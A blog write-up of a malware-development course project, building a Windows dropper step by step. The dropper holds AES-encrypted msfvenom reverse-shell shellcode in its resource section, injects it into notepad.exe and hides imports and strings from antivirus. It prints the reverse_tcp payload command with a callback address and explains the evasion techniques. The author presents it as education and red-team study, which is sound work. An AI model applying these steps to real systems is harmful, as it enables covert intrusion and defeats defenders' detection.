Sektor7 - Malware Development Essentials Project

The final project code will be uploaded onto my github for reference. The purpose of this writeup is for educational purposes, do not test on systems you do not own or have permissions for testing!

Overview

This project is a compilation of various techniques utilized in the Sektor7 Red Team Operations: Malware Development Essentials course. In addition, to enhance my understanding and practical skills, I have made modifications to certain aspects of the primary combined project. For instance, I have replaced the message box shellcode with Metasploit shellcode.

The following picture provides an illustration of the high-level execution flow which contains the techniques learned from the course.

To explain the illustration further:

  • The payload will be shellcode that is AES256 encrypted. Encrypting shellcode, specifically with a strong encryption algorithm like AES256, can provide several benefits in terms of evasion. For instance, encryption can help to obfuscate it and make it more difficult to detect by antivirus or intrusion detection systems. Since the encrypted shellcode will appear as random data, it will be harder for automated detection systems to recognize it as malicious code. In addition, this will evade any static/signature based detections by AV (antivirus) engines.

  • The payload itself will be a staged payload generated from msfvenom using the payload option: windows/x64/shell/reverse_tcp .

  • Within the dropper, it will be stored within the .rsrc portion of the executable.

  • The dropper executable itself will have encrypted strings and obfuscated function calls. When analysts do static analysis, using a tool like strings or FLOSS will reveal any string that is statically saved within the program. In addition, when examining a program without function call obfuscation (specifically to Windows API), analysts will be able to see which Windows API functions it utilizes. And when using certain APIs like VirtualProtect or CreateRemoteThread without obfuscation, it can give indicators to analysts that the program is malicious. With obfuscation, it is harder (not impossible) for analysts to easily see which Windows API functions the program utilizes.

  • The payload itself will be stored within the .rsrc (resource) portion of the dropper executable.

  • The payload will be decrypted and injected into a remote (a different) process, where that remote process will then execute the payload.

Implant Initial Version: Storing Payload in Resource Section

I’ll start of the project small and will be implementing each technique one at a time. Starting with a smaller subset of the project or problem allows you to focus on a limited set of requirements, which reduces the complexity and helps to understand the problem space better. This allows you to build a strong foundation and gradually increase the complexity of the project as it progresses. The first step will be to store an unencrypted payload in the resource section of the executable, and see if we can get the payload to work.

So this first version of the implant will simply have the unencrypted (reverse shell) payload that will be stored in the resource section. There will also not be any process injection in this initial version.

First I created the payload using msfvenom on my kali linux VM. The command I used to generated the payload was msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.246 LPORT=4444 -f raw -o payload.ico

Since the payload we’re implementing for now is unencrypted, it will be caught by Microsoft Defender and automatically be quarantined/removed. After allowing the payload through defender, I was able to download it on my malware development VM.

I’ve taken most of the code from the code skeleton given out in the Sektor7 course, however I have added plenty of comments, removed the print statements, and changed some of the variable names to make it easier read and interpret what is going on.

Variable Declaration

First portion of the code declares the variables that will be used throughout the program. Each variable has a description next to it, so it is pretty self explanatory.

Retrieving Payload from Resource Section

This portion of the code is responsible for retrieving the payload from the resource section (.rsrc) of the executable.

The first line of code shown above uses the Windows API function FindResource() to locate the binary resource with the name FAVICON_ICO of type RT_RCDATA (which stands for "resource data") within the executable file. The NULL parameter specifies that the function should look for the resource in the program's own executable file, rather than in a separate resource file or library. The function returns a handle to the located resource if successful, or NULL if the resource is not found.

The following line uses the Windows API function LoadResource() to load the binary resource into memory. The NULL parameter specifies that the function should load the resource from the program's own executable file, and the resource parameter (from the previous line) is a handle to the resource that was returned by FindResource(). The function returns a handle to the loaded resource if successful, or NULL if an error occurs. This will store the payload in an area of memory that is read only, so it cannot be executed from here.

The third line uses the Windows API function LockResource() to obtain a pointer to the binary data that was loaded into memory by LoadResource(). The data is cast to a char* pointer, which allows it to be treated as a character array. This pointer is stored in the variable payload_data.

The last line uses the Windows API function SizeofResource() to determine the size of the binary resource in bytes. The NULL parameter specifies that the function should calculate the size of the resource within the program's own executable file, and the resource parameter is a handle to the resource that was returned by FindResource(). The function returns the size of the resource in bytes if successful, or 0 if an error occurs. The size is stored in the variable payload_size.

TLDR of this section:

  1. Locates the binary payload within the resource portion of its own executable

  2. Loads the binary (payload) resource into memory

  3. Obtain a pointer to the binary data that was loaded into memory from step 2

  4. Determine the size of the binary resource in bytes

Loading the Payload into the Process Memory

This portion of the code is responsible for allocating a block of memory in the process's virtual address space, copying the contents of a binary resource to the allocated memory block, and changing the protection attributes of the memory block to allow the payload to be executed but not modified. The Windows API functions used in these lines of code are VirtualAlloc(), RtlMoveMemory(), and VirtualProtect().

The first line of code uses the Windows API function VirtualAlloc() to allocate a block of memory in the process's virtual address space. The function takes three parameters: the first parameter is the starting address of the block, which is set to 0 to let the system choose a suitable address; the second parameter is the size of the block in bytes, which is set to the value of the variable payload_size; and the third parameter is a combination of flags that determine the type of memory allocation, which is set to MEM_COMMIT | MEM_RESERVE to allocate a committed and reserved block of memory. The function returns a pointer to the first byte of the allocated block, which is stored in the variable payload_memory_buffer.

The next of code uses the Windows API function RtlMoveMemory() to copy the contents of the binary resource, which are stored in the variable payload_data, to the allocated memory block, which is stored in the variable payload_memory_buffer. The function takes three parameters: the first parameter is a pointer to the destination memory block, which is set to the value of payload_memory_buffer; the second parameter is a pointer to the source memory block, which is set to the value of payload_data; and the third parameter is the size of the memory block to copy, which is set to the value of payload_size. The function performs a memory copy operation and returns nothing.

The last line of code within the screenshot uses the Windows API function VirtualProtect() to change the protection attributes of the memory block that was allocated in the first line of code. The function takes four parameters: the first parameter is a pointer to the starting address of the memory block, which is set to the value of payload_memory_buffer; the second parameter is the size of the memory block in bytes, which is set to the value of payload_size; the third parameter is a combination of flags that determine the new protection attributes, which is set to PAGE_EXECUTE_READ to allow the memory block to be executed but not modified; and the fourth parameter is a pointer to a variable that receives the previous protection attributes of the memory block, which is set to the value of old_protection. The function returns a non-zero value if successful, or zero if an error occurs.

TLDR of this section:

  1. Allocate a block of memory in the process's virtual address space

  2. Copy the payload into the allocated block of memory from step 1

  3. Allow the memory block to be executed

Executing the Payload

Now that all the memory operations have been completed and the payload has been copied over to a region of memory that can be executed; execute the payload if successful.

The if statement checks whether the VirtualProtect() function call in the previous code block was successful by testing if the return value is not zero. If VirtualProtect() was successful, it means that the memory block allocated with VirtualAlloc() has been configured with the appropriate protection attributes to allow it to be executed.

If VirtualProtect() was successful, the code creates a new thread of execution using the CreateThread() function. The function takes several parameters: the first parameter is a pointer to a security descriptor that determines how the new thread will access system resources, the second parameter is the initial size of the stack for the new thread (0 indicates that the system will allocate a default size), the third parameter is a pointer to the entry point function for the new thread, which in this case is a pointer to the start of the allocated memory buffer containing the payload data, the fourth parameter is a parameter that is passed to the entry point function, and the final two parameters are reserved and set to 0.

Once the thread is created, the code waits for it to complete using the WaitForSingleObject() function. The function takes two parameters: the first parameter is a handle to the thread, which is returned by the CreateThread() function, and the second parameter is a timeout value that specifies how long the function should wait for the thread to complete. In this case, the timeout value is set to -1, which means the function will wait indefinitely for the thread to complete.

TLDR of this section:

  1. Check whether the VirtualProtect() function call was successful

  2. Create a new thread of execution where entry point is the start of the allocated memory buffer containing the payload data

  3. Wait for the thread (execution) to complete

Compiling

The following is the compilation script (saved in compile.bat)

  • @ECHO OFF: This command turns off command echoing in the command prompt.

  • rc resources.rc: This command runs the Windows resource compiler (rc) to compile a resource script file named "resources.rc" into a binary resource file named "resources.res". A resource file typically contains non-executable data such as icons, bitmaps, sounds, or other types of resources that an application may need. The following is the contents inside resources.rc:

    This associates the binary data of a file named payload.ico with a resource identifier named FAVICON_ICO that can be accessed and used by the C++ code.

  • cvtres /MACHINE:x64 /OUT:resources.o resources.res: This command converts the binary resource file "resources.res" into an object file named "resources.o" that can be linked with the C++ code. The "/MACHINE:x64" option specifies the target architecture, and the "/OUT:resources.o" option specifies the output file name.

  • cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o: This command compiles the C++ source file named "implant.cpp" into an executable file named "implant.exe". The "/nologo" option disables displaying the logo of the C++ compiler, the "/Ox" option enables maximum optimization, the "/MT" option links with the static multithreaded runtime library, the "/W0" option disables warnings, the "/GS-" option disables security checks, the "/DNDEBUG" option defines the NDEBUG preprocessor macro to disable debug information, and the "/Tcimplant.cpp" option specifies the C++ source file name. The "/link" option specifies that the compiler should also perform linking, and the "/OUT:implant.exe" option specifies the output file name. The "/SUBSYSTEM:CONSOLE" option specifies that the program should be compiled as a console application, and the "/MACHINE:x64" option specifies the target architecture. Finally, the "resources.o" option specifies the object file generated from the resource file.

In summary:

  • rc resources.rc will compile the resource script resources.rc into a binary resource file (puts the payload into “FAVICON_ICO”)

  • cvtres /MACHINE:x64 /OUT:resources.o resources.res will convert the binary resource file into an object file named resources.o that can be linked with the C++ code

  • cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o will compile the C++ code and link it with the binary data within the resources.o file to produce a complete executable program

Running compile.bat should compile and output implant.exe.

Setting up Metasploit

Next, I set up Metasploit's multi handler which would act as our mock command and control (C2).

After multi handler was set up, I ran the implant.exe executable and I got a reverse shell as shown on the bottom. This proves that this initial version of the implant works!

Examining the First Implant

Recall this is how we created the payload for this implant: msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.246 LPORT=4444 -f raw -o payload.ico

This creates the binary in a raw format, though we can see the hex values if we set the output format to something like C:

Opening the implant executable within PE-bear, you can see the different sections under the drop down on the left side, and within it there’s the .rsrc section. Clicking that and looking a little down, you can see the same MSF venom payload in hex at the following offsets:

Furthermore, within the center of PE-bear (can alternatively do this within pestudio) there is the “Imports” folder where you can see all the Windows API functions being called. Within it are the API functions used to execute the implant:

  • FindResource

  • VirtualAlloc

  • VirtualProtect

  • CreateThread

All of these Windows APIs being called together are indicative that this file is potentially malicious.

Furthermore, it is also worth noting that Windows defender immediately blocked the original ico file, and the implant executable once it was compiled and ran.

Now to make the implant more stealthy.

Implant Upgrade 1: Encrypting the Payload with AES-256

Python Encryptor

For this portion, the Sektor7 course provides python code that will encrypt a supplied binary file with AES256 and output the contents in hex values along with a randomized key. However there were a couple issues with the code:

  • It runs on python 2 - I was able to reproduce the steps in the course to create the encrypted payload in an environment that had python version 2.7 installed. However, attempting to run the code in python3 results in errors

  • It outputs the resulting payload in an encoded byte string in C format to make it copy-pastable into C/C++ code

I took the course python 2 implementation code of encryption a binary file to AES256 and implemented it in python 3 with some slight variations. Here is the code:

Here’s what the python code does at a high level overview:

  1. If a file is supplied, it gets loaded and the contents are saved into the variable plaintext

  2. A key that is of length 16 bytes is generated randomly (note that AES256 requires a 32 byte key)

  3. The 16 byte key is put into a SHA-256 hash function which assigns the resulting hash to the variable k, this result is a 32 byte long key

  4. The resulting key from step 3, and an IV of all hex values of 0’s are used to AES encrypt the plaintext in CBC mode. The result is stored into the ciphertext variable

  5. The ciphertext is printed in hex values in a format that can be copy-pasteable into C/C++ code

  6. If the argument -of is used followed by a filename when the python 3 code is run, then it will also output the cipher text into a file in binary format

Implementing the Encrypted Payload in the Implant

Running the above python file: python3 aes256_encrypt.py payload_unenc.ico -of payload_enc.ico

I got the resulting key: unsigned char AESkey[] = { 0xbc, 0x1a, 0xbc, 0x9e, 0xce, 0xa3, 0x0b, 0x8a, 0x42, 0xc4, 0xb2, 0x2b, 0xb4, 0x5f, 0x49, 0xd1 };

Next, I took the code template for AES-256 decryption from the Sektor7 course and added it as a function to the implant code from above:

AESDecrypt, performs AES decryption using a provided key on an input payload. It leverages the Windows Cryptography API (CryptoAPI) for the cryptographic operations. The following is a high level overview/summary of what this template does:

  • Acquire a cryptographic service provider (CSP) context for performing cryptographic operations.

  • Create a hash object using the SHA-256 algorithm.

  • Hash the provided key using the created hash object.

  • Derive an AES-256 symmetric key from the hashed key.

  • Decrypt the input payload using the derived AES-256 key.

  • Release the acquired cryptographic context and destroy the created hash object and derived key object.

  • Return 0 on successful execution, or -1 if any of the cryptographic operations fail.

In summary, it AES-256 decrypts the ciphertext using the key which is calculated from getting a SHA-256 of the 16 byte key that was randomized by the above python code.

Next, I inserted the following line of code to call the decryption function after the RtlMoveMemory command: AESDecrypt((char *) payload_memory_buffer, payload_size, key, sizeof(key)); this will take that memory region, cast it as a char pointer, and decrypt it in place.

I added print statements before and getchar() calls around the decryption function so that I can see it getting decrypted in memory. Below is the modified portion in code where the payload gets loaded into memory:

I then changed the resources.rc to the new payload name.

Next, I compiled/ran the code and started the Metasploit multi/handler session. Looking into the memory by attaching it in x64 debugger:

The following is the hex values in the debugger before decryption:

Once the decryption function is called, here are the new hex values that are decrypted in the debugger:

Continuing execution and checking the Metasploit session, I got a shell:

This proves that I was able to encrypt the payload (the ico file) with AES-256 and successfully decrypt/run it in memory.

Implant Upgrade 2: Injecting Payload into Remote Process

In summary, so far the implant stores a reverse shell payload that is AES-256 encrypted within the resource section of the executable. It is able to decrypt it in memory and run the decrypted payload to achieve a reverse shell.

This next section will be adding the capability of code injection into the implant. Code injection is a technique employed by adversaries to insert malicious code into a running process, typically with the objective of gaining control over the process and executing arbitrary code within its context. There are several benefits of utilizing code injection from an attacker point-of-view:

  1. Escaping short-lived processes: In some instances, processes may be short-lived, such as a backdoored application session that only lasts until the user closes the application. Code injection can be employed to preserve a session and maintain access to the compromised system even after the original process has ended.

  2. Changing the working context: Injecting code into a different process can help attackers avoid raising suspicion. For example, if Word.exe were to establish a connection to the internet, it might trigger alerts in monitoring systems. By injecting code into a more benign process, like chrome.exe, attackers can blend in with normal activity and minimize the likelihood of detection.

  3. Gaining additional Command and Control (C2) connections: Adhering to the principle "Two is one, one is none," attackers often seek to establish multiple C2 connections. This redundancy ensures that if one connection is detected or disrupted, the attacker can still maintain access to the compromised system through an alternative channel.

  4. Enhancing stealth capabilities: Code injection techniques can make it more difficult for security tools and analysts to detect malicious activity. By running malicious code within the context of a legitimate process, attackers can bypass security measures and evade detection, thereby prolonging their presence in the targeted system.

In conclusion, code injection is a powerful technique used by attackers to maintain persistence, evade detection, and exploit vulnerabilities in targeted systems. Understanding this method is essential for Red Team researchers and security professionals alike to develop effective countermeasures and improve overall system security.

The following is a provided code template for code injection:

The code attempts to inject a given payload into a running instance of the "notepad.exe" process. The code consists of three main functions: FindTarget, Inject, and main.

Here's a high-level overview of what each function does:

  1. FindTarget:

    • Takes a process name (in this case, "notepad.exe") as an argument and searches for a running instance of that process

    • Creates a snapshot of all running processes on the system using CreateToolhelp32Snapshot

    • Iterates through the processes using Process32First and Process32Next, comparing the process name with argument passed into the function procname

    • If a match is found, the function returns the process ID (PID) of the target process. Otherwise, it returns 0

  2. Inject:

    • Takes a handle to the target process, a payload, and the payload length as arguments

    • Allocates memory within the target process's address space using VirtualAllocEx with the MEM_COMMIT and PAGE_EXECUTE_READ flags

    • Copies the payload into the allocated memory using WriteProcessMemory.

    • Creates a new thread in the target process using CreateRemoteThread, which starts execution at the address of the injected payload

    • Waits for the thread to complete execution using WaitForSingleObject, then closes the thread handle

  3. main:

    • Calls FindTarget to obtain the PID of the "notepad.exe" process

    • If a valid PID is found, it opens the target process using OpenProcess with the necessary access rights (PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_READ, and PROCESS_VM_WRITE)

    • If the process handle is successfully obtained, it calls the Inject function with the handle, payload, and payload length

    • Finally, it closes the process handle

To implement this in the currently existing implant code, the following modifications were made:

  • Added the following variables on the top of the code which will be used for finding the process ID and for the handle return value when calling OpenProcess:

  • Within the current implant code, comment out functionality that executes the payload:

  • Added code template from above

  • Changed the variable from payload (on the Inject function call) to payload_memory_buffer since it will be injecting the decrypted shellcode

  • Changed the variable from payload_length (on the Inject functional call) to payload_size since that is the variable name in the code we’re implementing it to

Upon execution, the PID gets printed which confirms the program was able to find the process. Starting the Metasploit multi handler session after, it gets a callback from the system:

Checking in on the Metasploit multi handler:

Now the implant can successfully inject the decrypted shellcode into a remote process. The final improvements will be related to obfuscation of function calls and string encryption.

Implant Upgrade 3: Hiding Function Calls

fFunction call obfuscation is important for security researchers because it significantly complicates the process of analysis. Obfuscation allows malware to evade detection and bypass security measures more effectively. Function call obfuscation can evade antivirus (AV) measures by disguising the behavior and structure of malicious code, making it difficult for traditional signature-based detection methods to identify the threat. By altering the names, arguments, or structure of function calls, malware developers can generate unique code patterns that do not match known malicious signatures. This allows the malware to slip past AV systems that rely heavily on signature matching. Consequently, this technique increases the chances of a successful attack and reduces the likelihood of detection by AV solutions.

Revisiting the import table by using pestudio, the functions that were used to perform process injection were seen, such as the functions bellow:

  • OpenProcess

  • VirtualAllocEx

  • WriteProcessMemory

  • CreateRemoteThread

  • WaitForSingleObject

To start off, let’s start by getting the OpenProcess function removed from the import table. First, here’s the function syntax by the Microsoft Docs Website (https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocessarrow-up-right):

Then, within the code, I dedicated a section where I will put the function pointer declarations. To declare the function pointers that match the Windows API function, remove the [in] and [out] tags. In addition, make it a pointer by using WINAPI *. Here’s how it looks like for OpenProcess:

Next, before right before the original OpenProcess portion within the code, set the pointer declared in the previous step and call GetProcAddress() with the GetModuleHandle("kernel32.dll") and OpenProcess as the arguments. Essentially it would be [pointer variable name] = GetProcAddress(GetModuleHandle("[dll]"), "[original function]");. Note that the dll will be dependent on what the Microsoft docs say and it may differ from WinAPI to WinAPI, check to ensure you got the right dll. Example using the same OpenProcess function:

Last, replace the original OpenProcess portion within the code and replace it with pOpenProcess. Exanoke below:

Code before implementation:

Code after implementation:

Checking the import table on pestudio, OpenProcess doesn’t show up! I then did this for all the other Windows APIs.

Before (above) and after (below) hiding function calls:

Looking at the imports (both tables were sorted by technique) on the top pestudio window, we see some of the WinAPIs used for process injection such as the following:

  • VirtualAlloc

  • VirtualAllocEx

  • WriteProcessMemory

  • CreateRemoteThread

  • OpenProcess

On the bottom pestudio window, we see that those WinAPIs are not found. However looking at the strings tab within pestudio, we can see those same functions that we’ve hidden in the import table, this leads to the next upgrade of hiding strings.

Implant Upgrade 4: Encrypting Strings

The reason why those function calls that we’re hidden in the import table shows up in strings is due to it being coded within quotes during the GetProcAddress() call. For instance:

The strings "kernel32.dll" and "VirtualAlloc" being defined like so is what makes it appear in the strings table. To hide these, we’ll be using XOR encryption/decryption and we’ll be defining the ciphertext of these strings as a byte array. To accomplish this I’ve used the following python3 code to encrypt a list of Windows APIs and strings in a text file named plaintext_strings.txt:

The contents of plaintext_strings.txt (the text file with the strings to encrypt):

For a key, let’s use something that doesn’t look outwardly suspicious that could hide with other strings that are already predefined, in this situation I chose to use StdEndl. Running the python code with the key the following output was generated (have to remove the dot characters in os_notepad.exe and os_kernel32.dll variable names) :

Next, defining the key like so:

Next, the following C/C++ code will take those byte arrays of the XOR encrypted function names, the key, and decrypts it:

In the case of pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); instead of manually coding in VirtualAlloc you essentially replace it with xor_with_key(os_VirtualAlloc, sizeof(os_VirtualAlloc), xor_key), below is an example of it with also doing the same thing for kernel32.dll:

Doing the same process above for all the Windows API strings, here shows the before (above) and after (below) doing string encryption of the strings table within pestudio:

As shown all of the Process Injection strings have been removed.

Running notepad (the target process) and the implant, we still get a reverse shell which shows that all the strings have been encrypted correctly:

Conclusion and Summary

This project showcases most of the techniques learned from the Sektor7 course Malware Development Essentials. The writeup itself was purely for educational purposes and to raise awareness of some common malware development techniques. It is essential to emphasize that malware development and execution should only be conducted in controlled and authorized environments where explicit permission has been granted by the system owner or responsible authority.

Starting from a base implant that executes unencrypted shellcode, we were able to apply multiple techniques to upgrade it to:

  • Have an encrypted payload

  • Ability to decrypt in memory

  • Perform process injection

  • Executes the shellcode in the remote process

  • Hidden function calls

  • Encrypting suspicious strings

Windows API List Summary

List of Windows APIs used within each section:

  • Storing payload in resource section

    • Getting payload from resource section

      • FindResource

      • LoadResource

      • LockResource

      • SizeofResource

    • Copying payload to executable portion in memory

      • VirtualAlloc

      • RtlMoveMemory

      • VirtualProtect

    • Payload launching

      • CreateThread

      • WaitForSingleObject

  • Payload encryption/decryption

    • The crypt32.lib and advapi32.lib libraries need to be imported

    • CryptAquireContextW

    • CryptCreateHash

    • CryptHashData

    • CryptDeriveKey

    • CryptDecrypt

    • CryptReleaseContext

    • CryptDestroyHash

    • CryptDestroyKey

  • Hiding function calls

    • GetProcAddress

    • GetModuleHandle

  • Process Injection

    • VirtualAllocEx

    • WriteProcessMemory

    • CreateRemoteThread

Last updated